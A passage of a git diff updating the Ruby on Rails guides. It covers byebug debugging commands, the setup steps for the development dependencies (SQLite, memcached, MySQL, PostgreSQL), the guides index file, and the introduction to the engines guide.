+[50, 59] in /PathToGems/activesupport-5.0.0/lib/active_support/core_ext/numeric/time.rb
+   50:     ActiveSupport::Duration.new(self * 24.hours, [[:days, self]])
+   51:   end
+   52:   alias :day :days
+   53:
+   54:   def weeks
+=> 55:     ActiveSupport::Duration.new(self * 7.days, [[:days, self * 7]])
+   56:   end
+   57:   alias :week :weeks
+   58:
+   59:   def fortnights
 
+(byebug)
 ```
-(rdb:1) next
-/PathTo/project/app/models/author.rb:12
-@recent_comments
-(rdb:1) var instance
-@attributes = {"updated_at"=>"2008-07-31 12:46:10", "id"=>"1", "first_name"=>"Bob", "las...
-@attributes_cache = {}
-@comments = []
-@recent_comments = []
-```
-
-Now you can see that the `@comments` relationship was loaded and @recent_comments defined because the line was executed.
 
-If you want to go deeper into the stack trace you can move single `steps`, through your calling methods and into Rails code. This is one of the best ways to find bugs in your code, or perhaps in Ruby or Rails.
+This is one of the best ways to find bugs in your code, or perhaps in Ruby on
+Rails.
 
 ### Breakpoints
 
-A breakpoint makes your application stop whenever a certain point in the program is reached. The debugger shell is invoked in that line.
+A breakpoint makes your application stop whenever a certain point in the program
+is reached. The debugger shell is invoked in that line.
 
-You can add breakpoints dynamically with the command `break` (or just `b`). There are 3 possible ways of adding breakpoints manually:
+You can add breakpoints dynamically with the command `break` (or just `b`).
+There are 3 possible ways of adding breakpoints manually:
 
 * `break line`: set breakpoint in the _line_ in the current source file.
-* `break file:line [if expression]`: set breakpoint in the _line_ number inside the _file_. If an _expression_ is given it must evaluated to _true_ to fire up the debugger.
-* `break class(.|\#)method [if expression]`: set breakpoint in _method_ (. and \# for class and instance method respectively) defined in _class_. The _expression_ works the same way as with file:line.
+* `break file:line [if expression]`: set breakpoint in the _line_ number inside
+the _file_. If an _expression_ is given it must evaluated to _true_ to fire up
+the debugger.
+* `break class(.|\#)method [if expression]`: set breakpoint in _method_ (. and
+\# for class and instance method respectively) defined in _class_. The
+_expression_ works the same way as with file:line.
+
+
+For example, in the previous situation
 
 ```
-(rdb:5) break 10
-Breakpoint 1 file /PathTo/project/vendor/rails/actionpack/lib/action_controller/filters.rb, line 10
+[4, 13] in /PathTo/project/app/controllers/articles_controller.rb
+    4:   # GET /articles
+    5:   # GET /articles.json
+    6:   def index
+    7:     @articles = Article.find_recent
+    8:
+=>  9:     respond_to do |format|
+   10:       format.html # index.html.erb
+   11:       format.json { render json: @articles }
+   12:     end
+   13:   end
+
+(byebug) break 11
+Created breakpoint 1 at /PathTo/project/app/controllers/articles_controller.rb:11
+
 ```
 
-Use `info breakpoints _n_` or `info break _n_` to list breakpoints. If you supply a number, it lists that breakpoint. Otherwise it lists all breakpoints.
+Use `info breakpoints _n_` or `info break _n_` to list breakpoints. If you
+supply a number, it lists that breakpoint. Otherwise it lists all breakpoints.
 
 ```
-(rdb:5) info breakpoints
+(byebug) info breakpoints
 Num Enb What
-  1 y   at filters.rb:10
+1   y   at /PathTo/project/app/controllers/articles_controller.rb:11
 ```
 
-To delete breakpoints: use the command `delete _n_` to remove the breakpoint number _n_. If no number is specified, it deletes all breakpoints that are currently active..
+To delete breakpoints: use the command `delete _n_` to remove the breakpoint
+number _n_. If no number is specified, it deletes all breakpoints that are
+currently active.
 
 ```
-(rdb:5) delete 1
-(rdb:5) info breakpoints
+(byebug) delete 1
+(byebug) info breakpoints
 No breakpoints.
 ```
 
 You can also enable or disable breakpoints:
 
-* `enable breakpoints`: allow a list _breakpoints_ or all of them if no list is specified, to stop your program. This is the default state when you create a breakpoint.
+* `enable breakpoints`: allow a _breakpoints_ list or all of them if no list is
+specified, to stop your program. This is the default state when you create a
+breakpoint.
 * `disable breakpoints`: the _breakpoints_ will have no effect on your program.
 
 ### Catching Exceptions
 
-The command `catch exception-name` (or just `cat exception-name`) can be used to intercept an exception of type _exception-name_ when there would otherwise be is no handler for it.
+The command `catch exception-name` (or just `cat exception-name`) can be used to
+intercept an exception of type _exception-name_ when there would otherwise be no
+handler for it.
 
 To list all active catchpoints use `catch`.
 
 ### Resuming Execution
 
-There are two ways to resume execution of an application that is stopped in the debugger:
-
-* `continue` [line-specification] \(or `c`): resume program execution, at the address where your script last stopped; any breakpoints set at that address are bypassed. The optional argument line-specification allows you to specify a line number to set a one-time breakpoint which is deleted when that breakpoint is reached.
-* `finish` [frame-number] \(or `fin`): execute until the selected stack frame returns. If no frame number is given, the application will run until the currently selected frame returns. The currently selected frame starts out the most-recent frame or 0 if no frame positioning (e.g up, down or frame) has been performed. If a frame number is given it will run until the specified frame returns.
+There are two ways to resume execution of an application that is stopped in the
+debugger:
+
+* `continue` [line-specification] \(or `c`): resume program execution, at the
+address where your script last stopped; any breakpoints set at that address are
+bypassed. The optional argument line-specification allows you to specify a line
+number to set a one-time breakpoint which is deleted when that breakpoint is
+reached.
+* `finish` [frame-number] \(or `fin`): execute until the selected stack frame
+returns. If no frame number is given, the application will run until the
+currently selected frame returns. The currently selected frame starts out the
+most-recent frame or 0 if no frame positioning (e.g up, down or frame) has been
+performed. If a frame number is given it will run until the specified frame
+returns.
 
 ### Editing
 
 Two commands allow you to open code from the debugger into an editor:
 
-* `edit [file:line]`: edit _file_ using the editor specified by the EDITOR environment variable. A specific _line_ can also be given.
-* `tmate _n_` (abbreviated `tm`): open the current file in TextMate. It uses n-th frame if _n_ is specified.
+* `edit [file:line]`: edit _file_ using the editor specified by the EDITOR
+environment variable. A specific _line_ can also be given.
 
 ### Quitting
 
-To exit the debugger, use the `quit` command (abbreviated `q`), or its alias `exit`.
+To exit the debugger, use the `quit` command (abbreviated `q`), or its alias
+`exit`.
 
-A simple quit tries to terminate all threads in effect. Therefore your server will be stopped and you will have to start it again.
+A simple quit tries to terminate all threads in effect. Therefore your server
+will be stopped and you will have to start it again.
 
 ### Settings
 
-The `debugger` gem can automatically show the code you're stepping through and reload it when you change it in an editor. Here are a few of the available options:
-
-* `set reload`: Reload source code when changed.
-* `set autolist`: Execute `list` command on every breakpoint.
-* `set listsize _n_`: Set number of source lines to list by default to _n_.
-* `set forcestep`: Make sure the `next` and `step` commands always move to a new line
+`byebug` has a few available options to tweak its behaviour:
 
-You can see the full list by using `help set`. Use `help set _subcommand_` to learn about a particular `set` command.
+* `set autoreload`: Reload source code when changed (default: true).
+* `set autolist`: Execute `list` command on every breakpoint (default: true).
+* `set listsize _n_`: Set number of source lines to list by default to _n_
+(default: 10)
+* `set forcestep`: Make sure the `next` and `step` commands always move to a new
+line.
 
-TIP: You can save these settings in an `.rdebugrc` file in your home directory. The debugger reads these global settings when it starts.
+You can see the full list by using `help set`. Use `help set _subcommand_` to
+learn about a particular `set` command.
 
-Here's a good start for an `.rdebugrc`:
+TIP: You can save these settings in an `.byebugrc` file in your home directory.
+The debugger reads these global settings when it starts. For example:
 
 ```bash
-set autolist
 set forcestep
 set listsize 25
 ```
@@ -671,35 +803,59 @@ set listsize 25
 Debugging Memory Leaks
 ----------------------
 
-A Ruby application (on Rails or not), can leak memory - either in the Ruby code or at the C code level.
+A Ruby application (on Rails or not), can leak memory - either in the Ruby code
+or at the C code level.
 
-In this section, you will learn how to find and fix such leaks by using tool such as Valgrind.
+In this section, you will learn how to find and fix such leaks by using tool
+such as Valgrind.
 
 ### Valgrind
 
-[Valgrind](http://valgrind.org/) is a Linux-only application for detecting C-based memory leaks and race conditions.
+[Valgrind](http://valgrind.org/) is a Linux-only application for detecting
+C-based memory leaks and race conditions.
 
-There are Valgrind tools that can automatically detect many memory management and threading bugs, and profile your programs in detail. For example, if a C extension in the interpreter calls `malloc()` but doesn't properly call `free()`, this memory won't be available until the app terminates.
+There are Valgrind tools that can automatically detect many memory management
+and threading bugs, and profile your programs in detail. For example, if a C
+extension in the interpreter calls `malloc()` but doesn't properly call
+`free()`, this memory won't be available until the app terminates.
 
-For further information on how to install Valgrind and use with Ruby, refer to [Valgrind and Ruby](http://blog.evanweaver.com/articles/2008/02/05/valgrind-and-ruby/) by Evan Weaver.
+For further information on how to install Valgrind and use with Ruby, refer to
+[Valgrind and Ruby](http://blog.evanweaver.com/articles/2008/02/05/valgrind-and-ruby/)
+by Evan Weaver.
 
 Plugins for Debugging
 ---------------------
 
-There are some Rails plugins to help you to find errors and debug your application. Here is a list of useful plugins for debugging:
-
-* [Footnotes](https://github.com/josevalim/rails-footnotes) Every Rails page has footnotes that give request information and link back to your source via TextMate.
-* [Query Trace](https://github.com/ntalbott/query_trace/tree/master) Adds query origin tracing to your logs.
-* [Query Reviewer](https://github.com/nesquena/query_reviewer) This rails plugin not only runs "EXPLAIN" before each of your select queries in development, but provides a small DIV in the rendered output of each page with the summary of warnings for each query that it analyzed.
-* [Exception Notifier](https://github.com/smartinez87/exception_notification/tree/master) Provides a mailer object and a default set of templates for sending email notifications when errors occur in a Rails application.
-* [Better Errors](https://github.com/charliesome/better_errors) Replaces the standard Rails error page with a new one containing more contextual information, like source code and variable inspection.
-* [RailsPanel](https://github.com/dejan/rails_panel) Chrome extension for Rails development that will end your tailing of development.log. Have all information about your Rails app requests in the browser - in the Developer Tools panel. Provides insight to db/rendering/total times, parameter list, rendered views and more.
+There are some Rails plugins to help you to find errors and debug your
+application. Here is a list of useful plugins for debugging:
+
+* [Footnotes](https://github.com/josevalim/rails-footnotes) Every Rails page has
+footnotes that give request information and link back to your source via
+TextMate.
+* [Query Trace](https://github.com/ntalbott/query_trace/tree/master) Adds query
+origin tracing to your logs.
+* [Query Reviewer](https://github.com/nesquena/query_reviewer) This rails plugin
+not only runs "EXPLAIN" before each of your select queries in development, but
+provides a small DIV in the rendered output of each page with the summary of
+warnings for each query that it analyzed.
+* [Exception Notifier](https://github.com/smartinez87/exception_notification/tree/master)
+Provides a mailer object and a default set of templates for sending email
+notifications when errors occur in a Rails application.
+* [Better Errors](https://github.com/charliesome/better_errors) Replaces the
+standard Rails error page with a new one containing more contextual information,
+like source code and variable inspection.
+* [RailsPanel](https://github.com/dejan/rails_panel) Chrome extension for Rails
+development that will end your tailing of development.log. Have all information
+about your Rails app requests in the browser - in the Developer Tools panel.
+Provides insight to db/rendering/total times, parameter list, rendered views and
+more.
 
 References
 ----------
 
 * [ruby-debug Homepage](http://bashdb.sourceforge.net/ruby-debug/home-page.html)
 * [debugger Homepage](https://github.com/cldwalker/debugger)
+* [byebug Homepage](https://github.com/deivid-rodriguez/byebug)
 * [Article: Debugging a Rails application with ruby-debug](http://www.sitepoint.com/debug-rails-app-ruby-debug/)
 * [Ryan Bates' debugging ruby (revised) screencast](http://railscasts.com/episodes/54-debugging-ruby-revised)
 * [Ryan Bates' stack trace screencast](http://railscasts.com/episodes/24-the-stack-trace)
diff --git a/guides/source/development_dependencies_install.md b/guides/source/development_dependencies_install.md
index c4e5789a1a..989b29956c 100644
--- a/guides/source/development_dependencies_install.md
+++ b/guides/source/development_dependencies_install.md
@@ -1,3 +1,5 @@
+**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.**
+
 Development Dependencies Install
 ================================
 
@@ -45,36 +47,14 @@ $ cd rails
 
 The test suite must pass with any submitted code. No matter whether you are writing a new patch, or evaluating someone else's, you need to be able to run the tests.
 
-Install first libxml2 and libxslt together with their development files for Nokogiri. In Ubuntu that's
-
-```bash
-$ sudo apt-get install libxml2 libxml2-dev libxslt1-dev
-```
-
-If you are on Fedora or CentOS, you can run
-
-```bash
-$ sudo yum install libxml2 libxml2-devel libxslt libxslt-devel
-```
-
-If you are running Arch Linux, you're done with:
+Install first SQLite3 and its development files for the `sqlite3` gem. Mac OS X
+users are done with:
 
 ```bash
-$ sudo pacman -S libxml2 libxslt
+$ brew install sqlite3
 ```
 
-On FreeBSD, you just have to run:
-
-```bash
-# pkg_add -r libxml2 libxslt
-```
-
-Alternatively, you can install the `textproc/libxml2` and `textproc/libxslt`
-ports.
-
-If you have any problems with these libraries, you can install them manually by compiling the source code. Just follow the instructions at the [Red Hat/CentOS section of the Nokogiri tutorials](http://nokogiri.org/tutorials/installing_nokogiri.html#red_hat__centos) .
-
-Also, SQLite3 and its development files for the `sqlite3-ruby` gem - in Ubuntu you're done with just
+In Ubuntu you're done with just:
 
 ```bash
 $ sudo apt-get install sqlite3 libsqlite3-dev
@@ -95,12 +75,12 @@ $ sudo pacman -S sqlite
 For FreeBSD users, you're done with:
 
 ```bash
-# pkg_add -r sqlite3
+# pkg install sqlite3
 ```
 
 Or compile the `databases/sqlite3` port.
 
-Get a recent version of [Bundler](http://gembundler.com/)
+Get a recent version of [Bundler](http://bundler.io/)
 
 ```bash
 $ gem install bundler
@@ -117,7 +97,7 @@ This command will install all dependencies except the MySQL and PostgreSQL Ruby
 
 NOTE: If you would like to run the tests that use memcached, you need to ensure that you have it installed and running.
 
-You can use homebrew to install memcached on OSX:
+You can use [Homebrew](http://brew.sh/) to install memcached on OS X:
 
 ```bash
 $ brew install memcached
@@ -135,6 +115,20 @@ Or use yum on Fedora or CentOS:
 $ sudo yum install memcached
 ```
 
+If you are running on Arch Linux:
+
+```bash
+$ sudo pacman -S memcached
+```
+
+For FreeBSD users, you're done with:
+
+```bash
+# pkg install memcached
+```
+
+Alternatively, you can compile the `databases/memcached` port.
+
 With the dependencies now installed, you can run the test suite with:
 
 ```bash
@@ -181,7 +175,19 @@ The Active Record test suite requires a custom config file: `activerecord/test/c
 
 #### MySQL and PostgreSQL
 
-To be able to run the suite for MySQL and PostgreSQL we need their gems. Install first the servers, their client libraries, and their development files. In Ubuntu just run
+To be able to run the suite for MySQL and PostgreSQL we need their gems. Install
+first the servers, their client libraries, and their development files.
+
+On OS X, you can run:
+
+```bash
+$ brew install mysql
+$ brew install postgresql
+```
+
+Follow the instructions given by Homebrew to start these.
+
+In Ubuntu just run:
 
 ```bash
 $ sudo apt-get install mysql-server libmysqlclient15-dev
@@ -206,8 +212,8 @@ $ sudo pacman -S postgresql postgresql-libs
 FreeBSD users will have to run the following:
 
 ```bash
-# pkg_add -r mysql56-client mysql56-server
-# pkg_add -r postgresql92-client postgresql92-server
+# pkg install mysql56-client mysql56-server
+# pkg install postgresql93-client postgresql93-server
 ```
 
 Or install them through ports (they are located under the `databases` folder).
@@ -233,26 +239,35 @@ mysql> GRANT ALL PRIVILEGES ON activerecord_unittest.*
        to 'rails'@'localhost';
 mysql> GRANT ALL PRIVILEGES ON activerecord_unittest2.*
        to 'rails'@'localhost';
+mysql> GRANT ALL PRIVILEGES ON inexistent_activerecord_unittest.*
+       to 'rails'@'localhost';
 ```
 
 and create the test databases:
 
 ```bash
 $ cd activerecord
-$ bundle exec rake mysql:build_databases
+$ bundle exec rake db:mysql:build
 ```
 
-PostgreSQL's authentication works differently. A simple way to set up the development environment for example is to run with your development account
+PostgreSQL's authentication works differently. To setup the development environment
+with your development account, on Linux or BSD, you just have to run:
 
 ```bash
 $ sudo -u postgres createuser --superuser $USER
 ```
 
-and then create the test databases with
+and for OS X:
+
+```bash
+$ createuser --superuser $USER
+```
+
+Then you need to create the test databases with
 
 ```bash
 $ cd activerecord
-$ bundle exec rake postgresql:build_databases
+$ bundle exec rake db:postgresql:build
 ```
 
 It is possible to build databases for both PostgreSQL and MySQL with
diff --git a/guides/source/documents.yaml b/guides/source/documents.yaml
index 1b16f4e516..7ae3640937 100644
--- a/guides/source/documents.yaml
+++ b/guides/source/documents.yaml
@@ -13,8 +13,8 @@
       url: active_record_basics.html
       description: This guide will get you started with models, persistence to database and the Active Record pattern and library.
     -
-      name: Rails Database Migrations
-      url: migrations.html
+      name: Active Record Migrations
+      url: active_record_migrations.html
       description: This guide covers how you can use Active Record migrations to alter your database in a structured and organized manner.
     -
       name: Active Record Validations
@@ -32,6 +32,11 @@
       name: Active Record Query Interface
       url: active_record_querying.html
       description: This guide covers the database query interface provided by Active Record.
+    -
+      name: Active Model Basics
+      url: active_model_basics.html
+      description: This guide covers the use of model classes without Active Record.
+      work_in_progress: true
 -
   name: Views
   documents:
@@ -75,10 +80,14 @@
       url: action_mailer_basics.html
       description: This guide describes how to use Action Mailer to send and receive emails.
     -
+      name: Active Job Basics
+      url: active_job_basics.html
+      description: This guide provides you with all you need to get started in creating, enqueueing and executing background jobs.
+    -
       name: Testing Rails Applications
-      url: testing.html
       work_in_progress: true
-      description: This is a rather comprehensive guide to doing both unit and functional tests in Rails. It covers everything from 'What is a test?' to the testing APIs. Enjoy.
+      url: testing.html
+      description: This is a rather comprehensive guide to the various testing facilities in Rails. It covers everything from 'What is a test?' to the testing APIs. Enjoy.
     -
       name: Securing Rails Applications
       url: security.html
@@ -96,11 +105,6 @@
       url: command_line.html
       description: This guide covers the command line tools and rake tasks provided by Rails.
     -
-      name: Caching with Rails
-      work_in_progress: true
-      url: caching_with_rails.html
-      description: Various caching techniques provided by Rails.
-    -
       name: Asset Pipeline
       url: asset_pipeline.html
       description: This guide documents the asset pipeline.
@@ -109,15 +113,25 @@
       url: working_with_javascript_in_rails.html
       description: This guide covers the built-in Ajax/JavaScript functionality of Rails.
     -
-      name: Getting Started with Engines
-      url: engines.html
-      description: This guide explains how to write a mountable engine.
-      work_in_progress: true
-    -
       name: The Rails Initialization Process
       work_in_progress: true
       url: initialization.html
-      description: This guide explains the internals of the Rails initialization process as of Rails 3.1
+      description: This guide explains the internals of the Rails initialization process as of Rails 4
+    -
+      name: Autoloading and Reloading Constants
+      url: autoloading_and_reloading_constants.html
+      description: This guide documents how autoloading and reloading constants work.
+    -
+      name: Active Support Instrumentation
+      work_in_progress: true
+      url: active_support_instrumentation.html
+      description: This guide explains how to use the instrumentation API inside of Active Support to measure events inside of Rails and other Ruby code.
+    -
+      name: Profiling Rails Applications
+      work_in_progress: true
+      url: profiling.html
+      description: This guide explains how to profile your Rails applications to improve performance.
+
 -
   name: Extending Rails
   documents:
@@ -134,6 +148,11 @@
       name: Creating and Customizing Rails Generators
       url: generators.html
       description: This guide covers the process of adding a brand new generator to your extension or providing an alternative to an element of a built-in Rails generator (such as providing alternative test stubs for the scaffold generator).
+    -
+      name: Getting Started with Engines
+      url: engines.html
+      description: This guide explains how to write a mountable engine.
+      work_in_progress: true
 -
   name: Contributing to Ruby on Rails
   documents:
@@ -150,14 +169,28 @@
       url: ruby_on_rails_guides_guidelines.html
       description: This guide documents the Ruby on Rails guides guidelines.
 -
+  name: Maintenance Policy
+  documents:
+    -
+      name: Maintenance Policy
+      url: maintenance_policy.html
+      description: What versions of Ruby on Rails are currently supported, and when to expect new versions.
+-
   name: Release Notes
   documents:
     -
       name: Upgrading Ruby on Rails
       url: upgrading_ruby_on_rails.html
-      work_in_progress: true
       description: This guide helps in upgrading applications to latest Ruby on Rails versions.
     -
+      name: Ruby on Rails 4.2 Release Notes
+      url: 4_2_release_notes.html
+      description: Release notes for Rails 4.2.
+    -
+      name: Ruby on Rails 4.1 Release Notes
+      url: 4_1_release_notes.html
+      description: Release notes for Rails 4.1.
+    -
       name: Ruby on Rails 4.0 Release Notes
       url: 4_0_release_notes.html
       description: Release notes for Rails 4.0.
diff --git a/guides/source/engines.md b/guides/source/engines.md
index bc404ccb7f..6eb558885f 100644
--- a/guides/source/engines.md
+++ b/guides/source/engines.md
@@ -1,7 +1,11 @@
+**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.**
+
 Getting Started with Engines
 ============================
 
-In this guide you will learn about engines and how they can be used to provide additional functionality to their host applications through a clean and very easy-to-use interface.
+In this guide you will learn about engines and how they can be used to provide
+additional functionality to their host applications through a clean and very
+easy-to-use interface.
 
 After reading this guide, you will know:
 
@@ -16,26 +20,60 @@ After reading this guide, you will know:
 What are engines?
 -----------------
 
-Engines can be considered miniature applications that provide functionality to their host applications. A Rails application is actually just a "supercharged" engine, with the `Rails::Application` class inheriting a lot of its behavior from `Rails::Engine`.
-
-Therefore, engines and applications can be thought of almost the same thing, just with subtle differences, as you'll see throughout this guide. Engines and applications also share a common structure.
-
-Engines are also closely related to plugins where the two share a common `lib` directory structure and are both generated using the `rails plugin new` generator. The difference being that an engine is considered a "full plugin" by Rails as indicated by the `--full` option that's passed to the generator command, but this guide will refer to them simply as "engines" throughout. An engine **can** be a plugin, and a plugin **can** be an engine.
-
-The engine that will be created in this guide will be called "blorgh". The engine will provide blogging functionality to its host applications, allowing for new posts and comments to be created. At the beginning of this guide, you will be working solely within the engine itself, but in later sections you'll see how to hook it into an application.
-
-Engines can also be isolated from their host applications. This means that an application is able to have a path provided by a routing helper such as `posts_path` and use an engine also that provides a path also called `posts_path`, and the two would not clash. Along with this, controllers, models and table names are also namespaced. You'll see how to do this later in this guide.
-
-It's important to keep in mind at all times that the application should **always** take precedence over its engines. An application is the object that has final say in what goes on in the universe (with the universe being the application's environment) where the engine should only be enhancing it, rather than changing it drastically.
-
-To see demonstrations of other engines, check out [Devise](https://github.com/plataformatec/devise), an engine that provides authentication for its parent applications, or [Forem](https://github.com/radar/forem), an engine that provides forum functionality. There's also [Spree](https://github.com/spree/spree) which provides an e-commerce platform, and [RefineryCMS](https://github.com/refinery/refinerycms), a CMS engine.
-
-Finally, engines would not have been possible without the work of James Adam, Piotr Sarnacki, the Rails Core Team, and a number of other people. If you ever meet them, don't forget to say thanks!
+Engines can be considered miniature applications that provide functionality to
+their host applications. A Rails application is actually just a "supercharged"
+engine, with the `Rails::Application` class inheriting a lot of its behavior
+from `Rails::Engine`.
+
+Therefore, engines and applications can be thought of almost the same thing,
+just with subtle differences, as you'll see throughout this guide. Engines and
+applications also share a common structure.
+
+Engines are also closely related to plugins. The two share a common `lib`
+directory structure, and are both generated using the `rails plugin new`
+generator. The difference is that an engine is considered a "full plugin" by
+Rails (as indicated by the `--full` option that's passed to the generator
+command). We'll actually be using the `--mountable` option here, which includes
+all the features of `--full`, and then some. This guide will refer to these
+"full plugins" simply as "engines" throughout. An engine **can** be a plugin,
+and a plugin **can** be an engine.
+
+The engine that will be created in this guide will be called "blorgh". This
+engine will provide blogging functionality to its host applications, allowing
+for new articles and comments to be created. At the beginning of this guide, you
+will be working solely within the engine itself, but in later sections you'll
+see how to hook it into an application.
+
+Engines can also be isolated from their host applications. This means that an
+application is able to have a path provided by a routing helper such as
+`articles_path` and use an engine also that provides a path also called
+`articles_path`, and the two would not clash. Along with this, controllers, models
+and table names are also namespaced. You'll see how to do this later in this
+guide.
+
+It's important to keep in mind at all times that the application should
+**always** take precedence over its engines. An application is the object that
+has final say in what goes on in its environment. The engine should
+only be enhancing it, rather than changing it drastically.
+
+To see demonstrations of other engines, check out
+[Devise](https://github.com/plataformatec/devise), an engine that provides
+authentication for its parent applications, or
+[Forem](https://github.com/radar/forem), an engine that provides forum
+functionality. There's also [Spree](https://github.com/spree/spree) which
+provides an e-commerce platform, and
+[RefineryCMS](https://github.com/refinery/refinerycms), a CMS engine.
+
+Finally, engines would not have been possible without the work of James Adam,
+Piotr Sarnacki, the Rails Core Team, and a number of other people. If you ever
+meet them, don't forget to say thanks!
 
 Generating an engine
 --------------------
 
-To generate an engine, you will need to run the plugin generator and pass it options as appropriate to the need. For the "blorgh" example, you will need to create a "mountable" engine, running this command in a terminal:
+To generate an engine, you will need to run the plugin generator and pass it
+options as appropriate to the need. For the "blorgh" example, you will need to
+create a "mountable" engine, running this command in a terminal:
 
 ```bash
 $ rails plugin new blorgh --mountable
@@ -47,7 +85,11 @@ The full list of options for the plugin generator may be seen by typing:
 $ rails plugin --help
 ```
 
-The `--full` option tells the generator that you want to create an engine, including a skeleton structure by providing the following:
+The `--mountable` option tells the generator that you want to create a
+"mountable" and namespace-isolated engine. This generator will provide the same
+skeleton structure as would the `--full` option. The `--full` option tells the
+generator that you want to create an engine, including a skeleton structure
+that provides the following:
 
   * An `app` directory tree
   * A `config/routes.rb` file:
@@ -56,7 +98,9 @@ The `--full` option tells the generator that you want to create an engine, inclu
     Rails.application.routes.draw do
     end
     ```
-  * A file at `lib/blorgh/engine.rb` which is identical in function to a standard Rails application's `config/application.rb` file:
+
+  * A file at `lib/blorgh/engine.rb`, which is identical in function to a
+    standard Rails application's `config/application.rb` file:
 
     ```ruby
     module Blorgh
@@ -65,7 +109,7 @@ The `--full` option tells the generator that you want to create an engine, inclu
     end
     ```
 
-The `--mountable` option tells the generator that you want to create a "mountable" and namespace-isolated engine. This generator will provide the same skeleton structure as would the `--full` option, and will add:
+The `--mountable` option will add to the `--full` option:
 
   * Asset manifest files (`application.js` and `application.css`)
   * A namespaced `ApplicationController` stub
@@ -88,23 +132,32 @@ The `--mountable` option tells the generator that you want to create a "mountabl
     end
     ```
 
-Additionally, the `--mountable` option tells the generator to mount the engine inside the dummy testing application located at `test/dummy` by adding the following to the dummy application's routes file at `test/dummy/config/routes.rb`:
+Additionally, the `--mountable` option tells the generator to mount the engine
+inside the dummy testing application located at `test/dummy` by adding the
+following to the dummy application's routes file at
+`test/dummy/config/routes.rb`:
 
 ```ruby
-mount Blorgh::Engine, at: "blorgh"
+mount Blorgh::Engine => "/blorgh"
 ```
 
-### Inside an engine
+### Inside an Engine
 
-#### Critical files
+#### Critical Files
 
-At the root of this brand new engine's directory lives a `blorgh.gemspec` file. When you include the engine into an application later on, you will do so with this line in the Rails application's `Gemfile`:
+At the root of this brand new engine's directory lives a `blorgh.gemspec` file.
+When you include the engine into an application later on, you will do so with
+this line in the Rails application's `Gemfile`:
 
 ```ruby
 gem 'blorgh', path: "vendor/engines/blorgh"
 ```
 
-Don't forget to run `bundle install` as usual. By specifying it as a gem within the `Gemfile`, Bundler will load it as such, parsing this `blorgh.gemspec` file and requiring a file within the `lib` directory called `lib/blorgh.rb`. This file requires the `blorgh/engine.rb` file (located at `lib/blorgh/engine.rb`) and defines a base module called `Blorgh`.
+Don't forget to run `bundle install` as usual. By specifying it as a gem within
+the `Gemfile`, Bundler will load it as such, parsing this `blorgh.gemspec` file
+and requiring a file within the `lib` directory called `lib/blorgh.rb`. This
+file requires the `blorgh/engine.rb` file (located at `lib/blorgh/engine.rb`)
+and defines a base module called `Blorgh`.
 
 ```ruby
 require "blorgh/engine"
@@ -113,55 +166,109 @@ module Blorgh
 end
 ```
 
-TIP: Some engines choose to use this file to put global configuration options for their engine. It's a relatively good idea, and so if you want to offer configuration options, the file where your engine's `module` is defined is perfect for that. Place the methods inside the module and you'll be good to go.
+TIP: Some engines choose to use this file to put global configuration options
+for their engine. It's a relatively good idea, so if you want to offer
+configuration options, the file where your engine's `module` is defined is
+perfect for that. Place the methods inside the module and you'll be good to go.
 
 Within `lib/blorgh/engine.rb` is the base class for the engine:
 
 ```ruby
 module Blorgh
-  class Engine < Rails::Engine
+  class Engine < ::Rails::Engine
     isolate_namespace Blorgh
   end
 end
 ```
 
-By inheriting from the `Rails::Engine` class, this gem notifies Rails that there's an engine at the specified path, and will correctly mount the engine inside the application, performing tasks such as adding the `app` directory of the engine to the load path for models, mailers, controllers and views.
-
-The `isolate_namespace` method here deserves special notice. This call is responsible for isolating the controllers, models, routes and other things into their own namespace, away from similar components inside the application. Without this, there is a possibility that the engine's components could "leak" into the application, causing unwanted disruption, or that important engine components could be overridden by similarly named things within the application. One of the examples of such conflicts are helpers. Without calling `isolate_namespace`, engine's helpers would be included in an application's controllers.
-
-NOTE: It is **highly** recommended that the `isolate_namespace` line be left within the `Engine` class definition. Without it, classes generated in an engine **may** conflict with an application.
-
-What this isolation of the namespace means is that a model generated by a call to `rails g model` such as `rails g model post` won't be called `Post`, but instead be namespaced and called `Blorgh::Post`. In addition, the table for the model is namespaced, becoming `blorgh_posts`, rather than simply `posts`. Similar to the model namespacing, a controller called `PostsController` becomes `Blorgh::PostsController` and the views for that controller will not be at `app/views/posts`, but `app/views/blorgh/posts` instead. Mailers are namespaced as well.
-
-Finally, routes will also be isolated within the engine. This is one of the most important parts about namespacing, and is discussed later in the [Routes](#routes) section of this guide.
-
-#### `app` directory
-
-Inside the `app` directory are the standard `assets`, `controllers`, `helpers`, `mailers`, `models` and `views` directories that you should be familiar with from an application. The `helpers`, `mailers` and `models` directories are empty and so aren't described in this section. We'll look more into models in a future section, when we're writing the engine.
-
-Within the `app/assets` directory, there are the `images`, `javascripts` and `stylesheets` directories which, again, you should be familiar with due to their similarity to an application. One difference here however is that each directory contains a sub-directory with the engine name. Because this engine is going to be namespaced, its assets should be too.
-
-Within the `app/controllers` directory there is a `blorgh` directory and inside that a file called `application_controller.rb`. This file will provide any common functionality for the controllers of the engine. The `blorgh` directory is where the other controllers for the engine will go. By placing them within this namespaced directory, you prevent them from possibly clashing with identically-named controllers within other engines or even within the application.
-
-NOTE: The `ApplicationController` class inside an engine is named just like a Rails application in order to make it easier for you to convert your applications into engines.
-
-Lastly, the `app/views` directory contains a `layouts` folder which contains a file at `blorgh/application.html.erb` which allows you to specify a layout for the engine. If this engine is to be used as a stand-alone engine, then you would add any customization to its layout in this file, rather than the application's `app/views/layouts/application.html.erb` file.
-
-If you don't want to force a layout on to users of the engine, then you can delete this file and reference a different layout in the controllers of your engine.
-
-#### `bin` directory
-
-This directory contains one file, `bin/rails`, which enables you to use the `rails` sub-commands and generators just like you would within an application. This means that you will very easily be able to generate new controllers and models for this engine by running commands like this:
+By inheriting from the `Rails::Engine` class, this gem notifies Rails that
+there's an engine at the specified path, and will correctly mount the engine
+inside the application, performing tasks such as adding the `app` directory of
+the engine to the load path for models, mailers, controllers and views.
+
+The `isolate_namespace` method here deserves special notice. This call is
+responsible for isolating the controllers, models, routes and other things into
+their own namespace, away from similar components inside the application.
+Without this, there is a possibility that the engine's components could "leak"
+into the application, causing unwanted disruption, or that important engine
+components could be overridden by similarly named things within the application.
+One of the examples of such conflicts is helpers. Without calling
+`isolate_namespace`, the engine's helpers would be included in an application's
+controllers.
+
+NOTE: It is **highly** recommended that the `isolate_namespace` line be left
+within the `Engine` class definition. Without it, classes generated in an engine
+**may** conflict with an application.
+
